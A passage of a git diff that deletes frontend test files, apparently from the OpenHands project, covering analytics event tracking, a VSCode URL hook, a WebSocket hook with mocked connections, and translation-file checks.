getTracking().trackInitialQuerySubmitted({ - entryPoint: "direct", - queryCharacterLength: 10, - }); - - expect(captureMock).toHaveBeenCalledWith( - "initial_query_submitted", - expect.objectContaining({ replay_json_size: undefined }), - ); - }); - }); - - describe("trackUserMessageSent", () => { - it("captures user_message_sent with message counts", () => { - getTracking().trackUserMessageSent({ - sessionMessageCount: 5, - currentMessageLength: 120, - }); - - expect(captureMock).toHaveBeenCalledWith("user_message_sent", { - session_message_count: 5, - current_message_length: 120, - ...COMMON, - }); - }); - }); - - describe("trackDownloadVsCodeButtonClicked", () => { - it("captures download_via_vscode_button_clicked with commonProperties", () => { - getTracking().trackDownloadVsCodeButtonClicked(); - - expect(captureMock).toHaveBeenCalledWith( - "download_via_vscode_button_clicked", - expect.objectContaining(COMMON), - ); - }); - }); - - describe("trackSettingsSaved", () => { - it("captures settings_saved with all properties using SCREAMING_SNAKE_CASE keys", () => { - getTracking().trackSettingsSaved({ - llmModel: "gpt-4", - llmApiKeySet: "SET", - searchApiKeySet: "UNSET", - remoteRuntimeResourceFactor: 2, - }); - - expect(captureMock).toHaveBeenCalledWith("settings_saved", { - LLM_MODEL: "gpt-4", - LLM_API_KEY_SET: "SET", - SEARCH_API_KEY_SET: "UNSET", - REMOTE_RUNTIME_RESOURCE_FACTOR: 2, - ...COMMON, - }); - }); - }); - - describe("trackMcpConfigUpdated", () => { - it("captures mcp_config_updated with server counts and has_mcp_config: true", () => { - getTracking().trackMcpConfigUpdated({ - sseServersCount: 2, - stdioServersCount: 1, - }); - - expect(captureMock).toHaveBeenCalledWith("mcp_config_updated", { - has_mcp_config: true, - sse_servers_count: 2, - stdio_servers_count: 1, - ...COMMON, - }); - }); - }); - - describe("trackDownloadTrajectoryButtonClicked", () => { - it("captures download_trajectory_button_clicked with commonProperties", () => { - getTracking().trackDownloadTrajectoryButtonClicked(); - - expect(captureMock).toHaveBeenCalledWith( - "download_trajectory_button_clicked", - expect.objectContaining(COMMON), - ); - }); - }); - - describe("trackBackendAdded", () => { - it("captures backend_added with coarse, non-sensitive backend metadata", () => { - getTracking().trackBackendAdded({ - backendKind: "cloud", - connectionMethod: "cloud_login", - hasApiKey: true, - source: "add_backend_modal", - agentServerVersion: "1.36.1", - }); - - expect(captureMock).toHaveBeenCalledWith("backend_added", { - ...COMMON, - backend_kind: "cloud", - connection_method: "cloud_login", - has_api_key: true, - source: "add_backend_modal", - agent_server_version: "1.36.1", - automation_sdk_version: "unknown", - backend_version: "1.36.1", - }); - }); - }); - - describe("shared telemetry boundary", () => { - it("delegates consent enforcement when backend settings report false", () => { - useSettingsMock.mockReturnValue({ - data: { email: "user@example.com", user_consents_to_analytics: false }, - }); - - getTracking().trackPushButtonClick(); - - expect(captureMock).toHaveBeenCalledWith( - "push_button_clicked", - expect.objectContaining(COMMON), - ); - }); - - it("delegates consent enforcement when backend settings report null", () => { - useSettingsMock.mockReturnValue({ - data: { email: "user@example.com", user_consents_to_analytics: null }, - }); - - getTracking().trackPushButtonClick(); - - expect(captureMock).toHaveBeenCalledWith( - "push_button_clicked", - expect.objectContaining(COMMON), - ); - }); - - it("does not drop backend milestones while settings are loading", () => { - useSettingsMock.mockReturnValue({ data: undefined }); - - getTracking().trackBackendAdded({ - backendKind: "cloud", - connectionMethod: "cloud_login", - hasApiKey: true, - source: "onboarding", - }); - - expect(captureMock).toHaveBeenCalledWith( - "backend_added", - expect.objectContaining({ - backend_kind: "cloud", - connection_method: "cloud_login", - source: "onboarding", - }), - ); - }); - }); -}); diff --git a/__tests__/hooks/use-unified-vscode-url.test.tsx b/__tests__/hooks/use-unified-vscode-url.test.tsx deleted file mode 100644 index 888d2456b..000000000 --- a/__tests__/hooks/use-unified-vscode-url.test.tsx +++ /dev/null @@ -1,203 +0,0 @@ -import { afterEach, beforeEach, describe, expect, it, vi } from "vitest"; -import { renderHook, waitFor } from "@testing-library/react"; -import { QueryClient, QueryClientProvider } from "@tanstack/react-query"; -import { I18nextProvider } from "react-i18next"; -import i18n from "i18next"; -import { initReactI18next } from "react-i18next"; -import React from "react"; -import { useUnifiedVSCodeUrl } from "#/hooks/query/use-unified-vscode-url"; -import { batchGetCloudSandboxes } from "#/api/cloud/sandbox-service.api"; -import AgentServerConversationService from "#/api/conversation-service/agent-server-conversation-service.api"; -import ConversationService from "#/api/conversation-service/conversation-service.api"; -import { useActiveBackend } from "#/contexts/active-backend-context"; -import { useActiveConversation } from "#/hooks/query/use-active-conversation"; -import { useRuntimeIsReady } from "#/hooks/use-runtime-is-ready"; -import type { ResolvedActiveBackend } from "#/api/backend-registry/types"; -import type { V1SandboxInfo } from "#/api/cloud/sandbox-service.types"; -import type { AppConversation } from "#/api/conversation-service/agent-server-conversation-service.types"; - -vi.mock("#/api/cloud/sandbox-service.api"); -vi.mock("#/api/conversation-service/agent-server-conversation-service.api"); -vi.mock("#/api/conversation-service/conversation-service.api"); -vi.mock("#/contexts/active-backend-context"); -vi.mock("#/hooks/query/use-active-conversation"); -vi.mock("#/hooks/use-runtime-is-ready"); -vi.mock("#/hooks/use-conversation-id", () => ({ - useOptionalConversationId: () => ({ conversationId: "test-conversation-id" }), - useConversationId: () => ({ conversationId: "conv-123" }), -})); - -if (!i18n.isInitialized) { - i18n.use(initReactI18next).init({ - lng: "en", - fallbackLng: "en", - ns: ["openhands"], - defaultNS: "openhands", - resources: { en: { openhands: {} } }, - interpolation: { escapeValue: false }, - returnEmptyString: false, - }); -} - -const cloudBackend: ResolvedActiveBackend = { - backend: { - id: "cloud-prod", - name: "Production", - host: "https://app.all-hands.dev", - apiKey: "key", - kind: "cloud", - }, - orgId: "org-1", -}; - -const localBackend: ResolvedActiveBackend = { - backend: { - id: "local-1", - name: "Local", - host: "http://localhost:8000", - apiKey: "key", - kind: "local", - }, - orgId: null, -}; - -function makeConversation( - overrides: Partial = {}, -): AppConversation { - return { - id: "conv-123", - sandbox_id: "sandbox-9", - conversation_url: "http://abc.staging-runtime.all-hands.dev/api/conv/1", - session_api_key: "sek", - created_by_user_id: null, - selected_repository: null, - selected_branch: null, - git_provider: null, - title: null, - trigger: null, - pr_number: [], - llm_model: null, - metrics: null, - created_at: "2026-05-12T00:00:00Z", - updated_at: "2026-05-12T00:00:00Z", - execution_status: "running", - sub_conversation_ids: [], - ...overrides, - } as AppConversation; -} - -function makeSandbox( - overrides: Partial = {}, -): V1SandboxInfo { - return { - id: "sandbox-9", - created_by_user_id: null, - sandbox_spec_id: "spec-1", - status: "RUNNING", - session_api_key: "sek", - exposed_urls: [ - { - name: "VSCODE", - url: "https://vscode-abc.staging-runtime.all-hands.dev/?tkn=sek&folder=%2Fworkspace%2Fproject", - }, - ], - created_at: "2026-05-12T00:00:00Z", - ...overrides, - }; -} - -function createWrapper() { - const queryClient = new QueryClient({ - defaultOptions: { queries: { retry: false } }, - }); - return ({ children }: { children: React.ReactNode }) => ( - - {children} - - ); -} - -beforeEach(() => { - vi.clearAllMocks(); - vi.mocked(useRuntimeIsReady).mockReturnValue(true); - vi.mocked(useActiveConversation).mockReturnValue({ - data: makeConversation(), - } as unknown as ReturnType); -}); - -afterEach(() => { - vi.clearAllMocks(); -}); - -describe("useUnifiedVSCodeUrl", () => { - it("returns the cloud-computed VSCode URL from sandbox.exposed_urls in cloud mode", async () => { - // Arrange — cloud backend, sandbox returned with a VSCODE entry. - // This is the steady-state happy path: the cloud backend pre-builds the - // public vscode subdomain URL and the GUI must surface it directly - // instead of asking the runtime for /api/vscode/url (which only - // knows its own localhost:8001). - vi.mocked(useActiveBackend).mockReturnValue(cloudBackend); - vi.mocked(batchGetCloudSandboxes).mockResolvedValue([makeSandbox()]); - - // Act - const { result } = renderHook(() => useUnifiedVSCodeUrl(), { - wrapper: createWrapper(), - }); - - // Assert - await waitFor(() => expect(result.current.isSuccess).toBe(true)); - expect(result.current.data?.url).toBe( - "https://vscode-abc.staging-runtime.all-hands.dev/?tkn=sek&folder=%2Fworkspace%2Fproject", - ); - expect( - AgentServerConversationService.getVSCodeUrl, - ).not.toHaveBeenCalled(); - }); - - it("returns null url in cloud mode when the sandbox has no VSCODE exposed_url", async () => { - // Arrange — sandbox is reachable but isn't running yet (STARTING / - // PAUSED), so exposed_urls hasn't been populated. The hook must - // surface "no URL" gracefully so the tab shows the empty-state - // copy instead of crashing or serving a localhost fallback. - vi.mocked(useActiveBackend).mockReturnValue(cloudBackend); - vi.mocked(batchGetCloudSandboxes).mockResolvedValue([ - makeSandbox({ status: "STARTING", exposed_urls: null }), - ]); - - // Act - const { result } = renderHook(() => useUnifiedVSCodeUrl(), { - wrapper: createWrapper(), - }); - - // Assert - await waitFor(() => expect(result.current.isSuccess).toBe(true)); - expect(result.current.data?.url).toBeNull(); - }); - - it("falls through to AgentServerConversationService.getVSCodeUrl in local mode", async () => { - // Arrange — local backend: cloud sandbox lookup must be skipped and - // the existing local resolver must drive the URL. Regression check - // for the cloud/local branch that was added to the hook. - vi.mocked(useActiveBackend).mockReturnValue(localBackend); - vi.mocked(AgentServerConversationService.getVSCodeUrl).mockResolvedValue({ - vscode_url: "http://localhost:8001/?tkn=local-key&folder=workspace", - }); - - // Act - const { result } = renderHook(() => useUnifiedVSCodeUrl(), { - wrapper: createWrapper(), - }); - - // Assert - await waitFor(() => expect(result.current.isSuccess).toBe(true)); - expect( - AgentServerConversationService.getVSCodeUrl, - ).toHaveBeenCalledWith( - "conv-123", - "http://abc.staging-runtime.all-hands.dev/api/conv/1", - "sek", - ); - expect(batchGetCloudSandboxes).not.toHaveBeenCalled(); - expect(ConversationService.getVSCodeUrl).not.toHaveBeenCalled(); - }); -}); diff --git a/__tests__/hooks/use-websocket.test.ts b/__tests__/hooks/use-websocket.test.ts deleted file mode 100644 index 899083f87..000000000 --- a/__tests__/hooks/use-websocket.test.ts +++ /dev/null @@ -1,493 +0,0 @@ -/** - * TODO: Fix flaky WebSocket tests (https://github.com/OpenHands/OpenHands/issues/11944) - * - * Several tests in this file are skipped because they fail intermittently in CI - * but pass locally. The SUSPECTED root cause is that `wsLink.broadcast()` sends messages - * to ALL connected clients across all tests, causing cross-test contamination - * when tests run in parallel with Vitest v4. - */ -import { act, renderHook, waitFor } from "@testing-library/react"; -import { - describe, - it, - expect, - beforeAll, - afterAll, - afterEach, - vi, -} from "vitest"; -import { ws } from "msw"; -import { setupServer } from "msw/node"; -import { useWebSocket } from "#/hooks/use-websocket"; - -describe("useWebSocket", () => { - // MSW WebSocket mock setup - const wsLink = ws.link("ws://acme.com/ws"); - - const mswServer = setupServer( - wsLink.addEventListener("connection", ({ client, server }) => { - // Establish the connection - server.connect(); - - // Send a welcome message to confirm connection - client.send("Welcome to the WebSocket!"); - }), - ); - - beforeAll(() => - mswServer.listen({ - onUnhandledRequest: "warn", - }), - ); - afterEach(() => mswServer.resetHandlers()); - afterAll(() => mswServer.close()); - - const waitForConnection = async (result: { - current: { - isConnected: boolean; - }; - }) => { - await waitFor( - () => { - expect(result.current.isConnected).toBe(true); - }, - { timeout: 5000 }, - ); - }; - - it("should establish a WebSocket connection", async () => { - const { result } = renderHook(() => useWebSocket("ws://acme.com/ws")); - - // Initially should not be connected - expect(result.current.isConnected).toBe(false); - expect(result.current.lastMessage).toBe(null); - - // Wait for connection to be established - await waitForConnection(result); - - // Should receive the welcome message from our mock - await waitFor(() => { - expect(result.current.lastMessage).toBe("Welcome to the WebSocket!"); - }); - - // Confirm that the WebSocket connection is established when the hook is used - expect(result.current.socket).toBeTruthy(); - }); - - it("should not retain an unbounded raw message history", async () => { - class MockWebSocket { - static readonly CONNECTING = 0; - static readonly OPEN = 1; - static readonly CLOSING = 2; - static readonly CLOSED = 3; - static instance: MockWebSocket | null = null; - - readonly url: string; - readyState = MockWebSocket.CONNECTING; - onopen: ((event: Event) => void) | null = null; - onmessage: ((event: MessageEvent) => void) | null = null; - onclose: ((event: CloseEvent) => void) | null = null; - onerror: ((event: Event) => void) | null = null; - - constructor(url: string) { - this.url = url; - MockWebSocket.instance = this; - queueMicrotask(() => { - this.readyState = MockWebSocket.OPEN; - this.onopen?.(new Event("open")); - }); - } - - send() {} - - close() { - this.readyState = MockWebSocket.CLOSED; - this.onclose?.( - new CloseEvent("close", { - code: 1000, - reason: "Normal closure", - wasClean: true, - }), - ); - } - } - - const originalWebSocket = globalThis.WebSocket; - vi.stubGlobal("WebSocket", MockWebSocket); - - try { - const { result, unmount } = renderHook(() => - useWebSocket("ws://acme.com/ws"), - ); - - await waitForConnection(result); - - act(() => { - MockWebSocket.instance?.onmessage?.( - new MessageEvent("message", { data: "first" }), - ); - MockWebSocket.instance?.onmessage?.( - new MessageEvent("message", { data: "second" }), - ); - MockWebSocket.instance?.onmessage?.( - new MessageEvent("message", { data: "third" }), - ); - }); - - expect(result.current.lastMessage).toBe("third"); - expect("messages" in result.current).toBe(false); - - unmount(); - } finally { - globalThis.WebSocket = originalWebSocket; - MockWebSocket.instance = null; - } - }); - - it.skip("should handle incoming messages correctly", async () => { - const { result } = renderHook(() => useWebSocket("ws://acme.com/ws")); - - // Wait for connection to be established - await waitFor(() => { - expect(result.current.isConnected).toBe(true); - }); - - // Should receive the welcome message from our mock - await waitFor(() => { - expect(result.current.lastMessage).toBe("Welcome to the WebSocket!"); - }); - - // Send another message from the mock server - wsLink.broadcast("Hello from server!"); - - await waitFor(() => { - expect(result.current.lastMessage).toBe("Hello from server!"); - }); - - // The hook intentionally keeps only the latest message; consumers that - // need durable history should store parsed events in their own domain - // store instead of retaining every raw websocket frame here. - expect("messages" in result.current).toBe(false); - }); - - it("should handle connection errors gracefully", async () => { - // Create a mock that will simulate an error - const errorLink = ws.link("ws://error-test.com/ws"); - mswServer.use( - errorLink.addEventListener("connection", ({ client }) => { - // Simulate an error by closing the connection immediately - client.close(1006, "Connection failed"); - }), - ); - - const { result } = renderHook(() => useWebSocket("ws://error-test.com/ws")); - - // Initially should not be connected and no error - expect(result.current.isConnected).toBe(false); - expect(result.current.error).toBe(null); - - // Wait for the connection to fail - await waitFor(() => { - expect(result.current.isConnected).toBe(false); - }); - - // Should have error information (the close event should trigger error state) - await waitFor(() => { - expect(result.current.error).not.toBe(null); - }); - - expect(result.current.error).toBeInstanceOf(Error); - // Should have meaningful error message (could be from onerror or onclose) - expect( - result.current.error?.message.includes("WebSocket closed with code 1006"), - ).toBe(true); - - // Should not crash the application - expect(result.current.socket).toBeTruthy(); - }); - - it.skip("should close the WebSocket connection on unmount", async () => { - const { result, unmount } = renderHook(() => - useWebSocket("ws://acme.com/ws"), - ); - - // Wait for connection to be established - await waitFor(() => { - expect(result.current.isConnected).toBe(true); - }); - - // Verify connection is active - expect(result.current.isConnected).toBe(true); - expect(result.current.socket).toBeTruthy(); - - const closeSpy = vi.spyOn(result.current.socket!, "close"); - - // Unmount the component (this should trigger the useEffect cleanup) - unmount(); - - // Verify that WebSocket close was called during cleanup - expect(closeSpy).toHaveBeenCalledOnce(); - }); - - it("should support query parameters in WebSocket URL", async () => { - // Stub WebSocket deterministically (mirrors the `onClose` test below). - // The MSW-backed variant was flaky in CI — `wsLink.broadcast()` from - // other tests leaks across the shared mock server, and this assertion - // only needs to observe the constructed URL, not a real connection. - class MockWebSocket { - static readonly CONNECTING = 0; - static readonly OPEN = 1; - static readonly CLOSING = 2; - static readonly CLOSED = 3; - - readonly url: string; - readyState = MockWebSocket.CONNECTING; - onopen: ((event: Event) => void) | null = null; - onmessage: ((event: MessageEvent) => void) | null = null; - onclose: ((event: CloseEvent) => void) | null = null; - onerror: ((event: Event) => void) | null = null; - - constructor(url: string) { - this.url = url; - queueMicrotask(() => { - this.readyState = MockWebSocket.OPEN; - this.onopen?.(new Event("open")); - }); - } - - send() {} - - close() { - this.readyState = MockWebSocket.CLOSED; - this.onclose?.( - new CloseEvent("close", { - code: 1000, - reason: "Normal closure", - wasClean: true, - }), - ); - } - } - - const originalWebSocket = globalThis.WebSocket; - vi.stubGlobal("WebSocket", MockWebSocket); - - try { - const baseUrl = "ws://acme.com/ws"; - const queryParams = { - token: "abc123", - userId: "user456", - version: "v1", - }; - - const { result, unmount } = renderHook(() => - useWebSocket(baseUrl, { queryParams }), - ); - - await waitForConnection(result); - - // Verify that the WebSocket was created with query parameters - expect(result.current.socket).toBeTruthy(); - expect(result.current.socket!.url).toBe( - "ws://acme.com/ws?token=abc123&userId=user456&version=v1", - ); - - unmount(); - } finally { - globalThis.WebSocket = originalWebSocket; - } - }); - - // Skipped: flaky in CI - see comment at top of file - it.skip("should call onOpen handler when WebSocket connection opens", async () => { - const onOpenSpy = vi.fn(); - const options = { onOpen: onOpenSpy }; - - const { result } = renderHook(() => - useWebSocket("ws://acme.com/ws", options), - ); - - // Initially should not be connected - expect(result.current.isConnected).toBe(false); - expect(onOpenSpy).not.toHaveBeenCalled(); - - // Wait for connection to be established - await waitForConnection(result); - - // onOpen handler should have been called - expect(onOpenSpy).toHaveBeenCalledOnce(); - }); - - it("should call onClose handler when WebSocket connection closes", async () => { - class MockWebSocket { - static readonly CONNECTING = 0; - static readonly OPEN = 1; - static readonly CLOSING = 2; - static readonly CLOSED = 3; - - readonly url: string; - readyState = MockWebSocket.CONNECTING; - onopen: ((event: Event) => void) | null = null; - onmessage: ((event: MessageEvent) => void) | null = null; - onclose: ((event: CloseEvent) => void) | null = null; - onerror: ((event: Event) => void) | null = null; - - constructor(url: string) { - this.url = url; - queueMicrotask(() => { - this.readyState = MockWebSocket.OPEN; - this.onopen?.(new Event("open")); - }); - } - - send() {} - - close() { - this.readyState = MockWebSocket.CLOSED; - this.onclose?.( - new CloseEvent("close", { - code: 1000, - reason: "Normal closure", - wasClean: true, - }), - ); - } - } - - const originalWebSocket = globalThis.WebSocket; - vi.stubGlobal("WebSocket", MockWebSocket); - - const onCloseSpy = vi.fn(); - const options = { onClose: onCloseSpy }; - - try { - const { result, unmount } = renderHook(() => - useWebSocket("ws://acme.com/ws", options), - ); - - await waitForConnection(result); - - act(() => { - result.current.disconnect(); - }); - - await waitFor(() => { - expect(onCloseSpy).toHaveBeenCalledOnce(); - }); - - unmount(); - } finally { - globalThis.WebSocket = originalWebSocket; - } - }); - - it.skip("should call onMessage handler when WebSocket receives a message", async () => { - const onMessageSpy = vi.fn(); - const options = { onMessage: onMessageSpy }; - - const { result } = renderHook(() => - useWebSocket("ws://acme.com/ws", options), - ); - - // Wait for connection to be established - await waitFor(() => { - expect(result.current.isConnected).toBe(true); - }); - - // Should receive the welcome message from our mock - await waitFor(() => { - expect(result.current.lastMessage).toBe("Welcome to the WebSocket!"); - }); - - // onMessage handler should have been called for the welcome message - expect(onMessageSpy).toHaveBeenCalledOnce(); - - // Send another message from the mock server - wsLink.broadcast("Hello from server!"); - - await waitFor(() => { - expect(result.current.lastMessage).toBe("Hello from server!"); - }); - - // onMessage handler should have been called twice now - expect(onMessageSpy).toHaveBeenCalledTimes(2); - }); - - it("should call onError handler when WebSocket encounters an error", async () => { - const onErrorSpy = vi.fn(); - const options = { onError: onErrorSpy }; - - // Create a mock that will simulate an error - const errorLink = ws.link("ws://error-test.com/ws"); - mswServer.use( - errorLink.addEventListener("connection", ({ client }) => { - // Simulate an error by closing the connection immediately - client.close(1006, "Connection failed"); - }), - ); - - const { result } = renderHook(() => - useWebSocket("ws://error-test.com/ws", options), - ); - - // Initially should not be connected and no error - expect(result.current.isConnected).toBe(false); - expect(onErrorSpy).not.toHaveBeenCalled(); - - // Wait for the connection to fail - await waitFor(() => { - expect(result.current.isConnected).toBe(false); - }); - - // Should have error information - await waitFor(() => { - expect(result.current.error).not.toBe(null); - }); - - // onError handler should have been called - expect(onErrorSpy).toHaveBeenCalled(); - }); - - it.skip("should provide sendMessage function to send messages to WebSocket", async () => { - const { result } = renderHook(() => useWebSocket("ws://acme.com/ws")); - - // Wait for connection to be established - await waitFor(() => { - expect(result.current.isConnected).toBe(true); - }); - - // Should have a sendMessage function - expect(result.current.sendMessage).toBeDefined(); - expect(typeof result.current.sendMessage).toBe("function"); - - // Mock the WebSocket send method - const sendSpy = vi.spyOn(result.current.socket!, "send"); - - // Send a message - result.current.sendMessage("Hello WebSocket!"); - - // Verify that WebSocket.send was called with the correct message - expect(sendSpy).toHaveBeenCalledOnce(); - expect(sendSpy).toHaveBeenCalledWith("Hello WebSocket!"); - }); - - it("should not send message when WebSocket is not connected", () => { - const { result } = renderHook(() => useWebSocket("ws://acme.com/ws")); - - // Initially should not be connected - expect(result.current.isConnected).toBe(false); - expect(result.current.sendMessage).toBeDefined(); - - // Mock the WebSocket send method (even though socket might be null) - const sendSpy = vi.fn(); - if (result.current.socket) { - vi.spyOn(result.current.socket, "send").mockImplementation(sendSpy); - } - - // Try to send a message when not connected - result.current.sendMessage("Hello WebSocket!"); - - // Verify that WebSocket.send was not called - expect(sendSpy).not.toHaveBeenCalled(); - }); -}); diff --git a/__tests__/i18n/duplicate-keys.test.ts b/__tests__/i18n/duplicate-keys.test.ts deleted file mode 100644 index 35ab9b89c..000000000 --- a/__tests__/i18n/duplicate-keys.test.ts +++ /dev/null @@ -1,76 +0,0 @@ -import { describe, expect, it } from 'vitest'; -import fs from 'fs'; -import path from 'path'; - -describe('translation.json', () => { - it('should not have duplicate translation keys', () => { - // Read the translation.json file - const translationPath = path.join(__dirname, '../../src/i18n/translation.json'); - const translationContent = fs.readFileSync(translationPath, 'utf-8'); - - // First, let's check for exact string matches of key definitions - const keyRegex = /"([^"]+)": {/g; - const matches = translationContent.matchAll(keyRegex); - const keyOccurrences = new Map(); - const duplicateKeys: string[] = []; - - for (const match of matches) { - const key = match[1]; - const count = (keyOccurrences.get(key) || 0) + 1; - keyOccurrences.set(key, count); - if (count > 1) { - duplicateKeys.push(key); - } - } - - // Remove duplicates from duplicateKeys array - const uniqueDuplicates = [...new Set(duplicateKeys)]; - - // If there are duplicates, create a helpful error message - if (uniqueDuplicates.length > 0) { - const errorMessage = `Found duplicate translation keys:\n${uniqueDuplicates - .map((key) => ` - "${key}" appears ${keyOccurrences.get(key)} times`) - .join('\n')}`; - throw new Error(errorMessage); - } - - // Expect no duplicates (this will pass if we reach here) - expect(uniqueDuplicates).toHaveLength(0); - }); - - it('should have consistent translations for each key', () => { - // Read the translation.json file - const translationPath = path.join(__dirname, '../../src/i18n/translation.json'); - const translationContent = fs.readFileSync(translationPath, 'utf-8'); - const translations = JSON.parse(translationContent); - - // Create a map to store English translations for each key - const englishTranslations = new Map(); - const inconsistentKeys: string[] = []; - - // Check each key's English translation - Object.entries(translations).forEach(([key, value]: [string, any]) => { - if (typeof value === 'object' && value.en !== undefined) { - const currentEn = value.en.toLowerCase(); - const existingEn = englishTranslations.get(key)?.toLowerCase(); - - if (existingEn !== undefined && existingEn !== currentEn) { - inconsistentKeys.push(key); - } else { - englishTranslations.set(key, value.en); - } - } - }); - - // If there are inconsistencies, create a helpful error message - if (inconsistentKeys.length > 0) { - const errorMessage = `Found inconsistent translations for keys:\n${inconsistentKeys - .map((key) => ` - "${key}" has multiple different English translations`) - .join('\n')}`; - throw new Error(errorMessage); - } - - // Expect no inconsistencies - expect(inconsistentKeys).toHaveLength(0); - }); -}); diff --git a/__tests__/i18n/files-diff-label.test.ts b/__tests__/i18n/files-diff-label.test.ts deleted file mode 100644 index 46c65e300..000000000 --- a/__tests__/i18n/files-diff-label.test.ts +++ /dev/null @@ -1,22 +0,0 @@ -import { describe, expect, it } from "vitest"; -import fs from "fs"; -import path from "path"; - -// The Files-tab diff toggle was renamed from "Diff view" to just "Diff". -// Lock that down at the source-of-truth (translation.json) rather than the -// rendered label, because the test environment's i18next mock returns keys -// rather than translated strings. -describe("FILES$DIFF_VIEW label", () => { - const translationPath = path.join( - __dirname, - "../../src/i18n/translation.json", - ); - const translation = JSON.parse( - fs.readFileSync(translationPath, "utf-8"), - ) as Record>; - - it('uses "Diff" (not "Diff view") in English', () => { - expect(translation.FILES$DIFF_VIEW).toBeDefined(); - expect(translation.FILES$DIFF_VIEW.en).toBe("Diff"); - }); -}); diff --git a/__tests__/i18n/library-namespace.test.ts b/__tests__/i18n/library-namespace.test.ts deleted file mode 100644 index f804c1980..000000000 --- a/__tests__/i18n/library-namespace.test.ts +++ /dev/null @@ -1,64 +0,0 @@ -import { describe, expect, it, vi } from "vitest"; - -describe("library i18n namespace scoping", () => { - it("exports raw translation resources for host-app registration", async () => { - const { OPENHANDS_I18N_NAMESPACE, translationResources } = await import( - "../../src/i18n" - ); - - expect(OPENHANDS_I18N_NAMESPACE).toBe("openhands"); - expect(translationResources.en).toHaveProperty("ERROR$GENERIC"); - expect(translationResources.en).not.toHaveProperty( - OPENHANDS_I18N_NAMESPACE, - ); - }); - - it("configures standalone i18n to load the openhands namespace by default", async () => { - const { OPENHANDS_I18N_NAMESPACE, createAgentServerI18n } = await import( - "../../src/i18n" - ); - - const instance = createAgentServerI18n(); - - expect(instance.options.defaultNS).toBe(OPENHANDS_I18N_NAMESPACE); - expect(instance.options.fallbackNS).toContain(OPENHANDS_I18N_NAMESPACE); - expect(instance.options.ns).toContain(OPENHANDS_I18N_NAMESPACE); - }); - - it( - "does not initialize the global i18next singleton when importing the library entry", - async () => { - vi.resetModules(); - - const { default: globalI18n } = await import("i18next"); - - await globalI18n.init({ - lng: "en", - fallbackLng: "en", - ns: ["translation"], - defaultNS: "translation", - resources: { - en: { - translation: { - HOST_ONLY: "Host only", - }, - }, - }, - }); - globalI18n.removeResourceBundle("en", "openhands"); - - expect(globalI18n.hasResourceBundle("en", "openhands")).toBe(false); - - await import("../../src/index"); - - expect(globalI18n.hasResourceBundle("en", "openhands")).toBe(false); - expect(globalI18n.t("HOST_ONLY")).toBe("Host only"); - }, - // No per-test timeout override here: importing the full `../../src/index` - // module graph is the heaviest import in the suite and can exceed a short - // budget under parallel load. Inherit the global 30s `testTimeout` - // (vite.config.ts) that was introduced specifically to keep the i18n - // namespace tests deterministic; a local 15s cap undercut that and made - // this test flaky. - ); -}); diff --git a/__tests__/i18n/sidebar-mcp-directory-label.test.ts b/__tests__/i18n/sidebar-mcp-directory-label.test.ts deleted file mode 100644 index 5b4e6f064..000000000 --- a/__tests__/i18n/sidebar-mcp-directory-label.test.ts +++ /dev/null @@ -1,21 +0,0 @@ -import fs from "fs"; -import path from "path"; -import { describe, expect, it } from "vitest"; - -// The sidebar MCP entry must not use the ambiguous "Integrations" label. -// Lock this down at translation.json because the test i18next mock returns keys. -describe("SIDEBAR$MCP_DIRECTORY label", () => { - const translationPath = path.join( - __dirname, - "../../src/i18n/translation.json", - ); - const translation = JSON.parse( - fs.readFileSync(translationPath, "utf-8"), - ) as Record>; - - it('uses "MCP Directory" (not "Integrations") in English', () => { - expect(translation.SIDEBAR$MCP_DIRECTORY).toBeDefined(); - expect(translation.SIDEBAR$MCP_DIRECTORY.en).toBe("MCP Directory"); - expect(translation.SIDEBAR$MCP_DIRECTORY.en).not.toBe("Integrations"); - }); -}); diff --git a/__tests__/i18n/translation-completeness.test.ts b/__tests__/i18n/translation-completeness.test.ts deleted file mode 100644 index e9d057de6..000000000 --- a/__tests__/i18n/translation-completeness.test.ts +++ /dev/null @@ -1,136 +0,0 @@ -import { describe, expect, it } from 'vitest'; -import fs from 'fs'; -import path from 'path'; -import translationChecker from '../../scripts/check-translation-completeness.cjs'; - -const { IDENTICAL_VALUE_ALLOWLIST, getSupportedLanguageCodes, checkTranslations } = - translationChecker; - -type TranslationMap = Record>; - -const translationJson: TranslationMap = JSON.parse( - fs.readFileSync( - path.join(__dirname, '../../src/i18n/translation.json'), - 'utf-8', - ), -); - -const supportedLanguageCodes = getSupportedLanguageCodes(); - -const getPlaceholders = (value: string) => - (value.match(/{{\s*[^}]+}}/g) ?? []).sort(); - -describe('checkTranslations', () => { - const languages = ['en', 'fr', 'ja']; - - it('reports languages missing from a key', () => { - const { missingTranslations } = checkTranslations( - { 'SOME$KEY': { en: 'Hello', fr: 'Bonjour' } }, - languages, - ); - - expect(missingTranslations).toEqual({ 'SOME$KEY': ['ja'] }); - }); - - it('reports languages not in the supported list', () => { - const { extraLanguages } = checkTranslations( - { 'SOME$KEY': { en: 'Hello', fr: 'Bonjour', ja: 'こんにちは', xx: 'Hello' } }, - languages, - ); - - expect(extraLanguages).toEqual({ 'SOME$KEY': ['xx'] }); - }); - - it('flags keys where every non-English value is the English value', () => { - const { untranslatedKeys } = checkTranslations( - { 'SOME$KEY': { en: 'Hello', fr: 'Hello', ja: 'Hello' } }, - languages, - ); - - expect(untranslatedKeys).toEqual({ 'SOME$KEY': 'Hello' }); - }); - - it('does not flag allowlisted keys with identical values', () => { - const { untranslatedKeys } = checkTranslations( - { BRANDING$OPENHANDS: { en: 'OpenHands', fr: 'OpenHands', ja: 'OpenHands' } }, - languages, - ); - - expect(untranslatedKeys).toEqual({}); - }); - - it('does not flag keys translated in at least one language', () => { - // Cognates legitimately match English in some languages (e.g. "Terminal" - // in French); only the copied-everywhere pattern signals a missing - // translation. - const { untranslatedKeys } = checkTranslations( - { 'SOME$KEY': { en: 'Terminal', fr: 'Terminal', ja: 'ターミナル' } }, - languages, - ); - - expect(untranslatedKeys).toEqual({}); - }); -}); - -describe('translation.json', () => { - it('exposes the supported language codes including English', () => { - expect(supportedLanguageCodes).toContain('en'); - expect(supportedLanguageCodes.length).toBeGreaterThan(1); - }); - - it('has complete, translated coverage for every key', () => { - const { missingTranslations, extraLanguages, untranslatedKeys } = - checkTranslations(translationJson, supportedLanguageCodes); - - expect(missingTranslations).toEqual({}); - expect(extraLanguages).toEqual({}); - // Regression for #1218: English values copied across all languages. - expect(untranslatedKeys).toEqual({}); - }); - - it('has no stale entries in the identical-value allowlist', () => { - const staleKeys = [...IDENTICAL_VALUE_ALLOWLIST].filter( - (key) => !(key in translationJson), - ); - - expect(staleKeys).toEqual([]); - }); - - it('keeps the 